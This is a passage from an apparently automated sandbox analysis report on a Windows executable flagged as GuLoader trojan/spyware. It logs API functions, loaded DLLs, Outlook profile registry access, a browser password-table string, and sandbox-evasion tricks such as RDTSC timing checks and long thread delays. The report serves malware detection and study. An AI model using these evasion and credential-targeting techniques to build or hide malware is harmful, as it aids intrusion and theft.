Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B143C8	5_2_37B143C8
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B13B18	5_2_37B13B18
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B13B08	5_2_37B13B08
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B16368	5_2_37B16368
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B1A351	5_2_37B1A351
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B16358	5_2_37B16358
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B17B4F	5_2_37B17B4F
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B15AB8	5_2_37B15AB8
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B15AA8	5_2_37B15AA8
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B15207	5_2_37B15207
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B15208	5_2_37B15208
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B13268	5_2_37B13268
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B129B8	5_2_37B129B8
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B1A9A0	5_2_37B1A9A0
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B129A8	5_2_37B129A8
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B1F138	5_2_37B1F138
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B1F129	5_2_37B1F129
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B12108	5_2_37B12108
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B14820	5_2_37B14820
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B14810	5_2_37B14810
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B17070	5_2_37B17070
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B17061	5_2_37B17061
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B11858	5_2_37B11858
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37B10040	5_2_37B10040
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_3818E8A8	5_2_3818E8A8
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_3818D6E8	5_2_3818D6E8
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_381875E8	5_2_381875E8

Source: C:\Users\user\Desktop\4UQ5wnI389.exe

Code function: String function: 00402C41 appears 51 times

Source: 4UQ5wnI389.exe, 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamesupraocular tailorizes.exeDVarFileInfo$ vs 4UQ5wnI389.exe
Source: 4UQ5wnI389.exe, 00000005.00000000.1931824375.0000000000455000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamesupraocular tailorizes.exeDVarFileInfo$ vs 4UQ5wnI389.exe
Source: 4UQ5wnI389.exe, 00000005.00000002.2743372458.0000000034B47000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs 4UQ5wnI389.exe
Source: 4UQ5wnI389.exe	Binary or memory string: OriginalFilenamesupraocular tailorizes.exeDVarFileInfo$ vs 4UQ5wnI389.exe

Source: 4UQ5wnI389.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/8@5/5

Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 0_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_004034A5
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		5_2_004034A5

Source: C:\Users\user\Desktop\4UQ5wnI389.exe

Code function: 0_2_00404850 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_00404850

Source: C:\Users\user\Desktop\4UQ5wnI389.exe

Code function: 0_2_00402104 CoCreateInstance,

0_2_00402104

Source: C:\Users\user\Desktop\4UQ5wnI389.exe

File created: C:\Users\user\AppData\Local\Iw

Jump to behavior

Source: C:\Users\user\Desktop\4UQ5wnI389.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\4UQ5wnI389.exe

File created: C:\Users\user\AppData\Local\Temp\nsm4D9E.tmp

Jump to behavior

Source: 4UQ5wnI389.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\4UQ5wnI389.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\4UQ5wnI389.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000034DA5000.00000004.00000800.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000034DB3000.00000004.00000800.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000002.2745006696.0000000035CDD000.00000004.00000800.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000034D95000.00000004.00000800.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000034DD4000.00000004.00000800.00020000.00000000.sdmp, 4UQ5wnI389.exe, 00000005.00000002.2743712849.0000000034DC8000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 4UQ5wnI389.exe	Virustotal: Detection: 75%
Source: 4UQ5wnI389.exe	ReversingLabs: Detection: 57%

Source: C:\Users\user\Desktop\4UQ5wnI389.exe

File read: C:\Users\user\Desktop\4UQ5wnI389.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\4UQ5wnI389.exe "C:\Users\user\Desktop\4UQ5wnI389.exe"
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process created: C:\Users\user\Desktop\4UQ5wnI389.exe "C:\Users\user\Desktop\4UQ5wnI389.exe"
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process created: C:\Users\user\Desktop\4UQ5wnI389.exe "C:\Users\user\Desktop\4UQ5wnI389.exe"	Jump to behavior

Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\4UQ5wnI389.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\4UQ5wnI389.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: 4UQ5wnI389.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000000.00000002.1940482380.0000000004709000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\4UQ5wnI389.exe

Code function: 0_2_70141B5F GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_70141B5F

Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_3_001949CC push eax; iretd		5_3_001949CD
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_0015ACA5 pushfd ; iretd		5_2_0015ACAA

Source: C:\Users\user\Desktop\4UQ5wnI389.exe

File created: C:\Users\user\AppData\Local\Temp\nsw4EC8.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\4UQ5wnI389.exe	API/Special instruction interceptor: Address: 509F113
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	API/Special instruction interceptor: Address: 363F113

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\4UQ5wnI389.exe	RDTSC instruction interceptor: First address: 506798D second address: 506798D instructions: 0x00000000 rdtsc 0x00000002 cmp ax, 0000F2E3h 0x00000006 cmp ebx, ecx 0x00000008 jc 00007F3098534C93h 0x0000000a test ax, ax 0x0000000d inc ebp 0x0000000e inc ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	RDTSC instruction interceptor: First address: 360798D second address: 360798D instructions: 0x00000000 rdtsc 0x00000002 cmp ax, 0000F2E3h 0x00000006 cmp ebx, ecx 0x00000008 jc 00007F30990EF6A3h 0x0000000a test ax, ax 0x0000000d inc ebp 0x0000000e inc ebx 0x0000000f rdtsc

Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Memory allocated: 110000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Memory allocated: 34CB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Memory allocated: 36CB0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 599435	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 599218	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 598999	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 598848	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 598633	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 598515	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 598406	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 598297	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 598187	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 598078	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 597968	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 597859	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 597750	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 597640	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 597531	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 597422	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 597312	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 597203	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 597093	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 596977	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 596859	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 596749	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 596640	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 596531	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 596421	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 596304	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 596197	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 596075	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 595967	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 595859	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 595750	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 595627	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 595500	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 595390	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 595278	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 595172	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 595062	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 594953	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 594843	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 594734	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 594625	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 594515	Jump to behavior
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Thread delayed: delay time: 594406	Jump to behavior
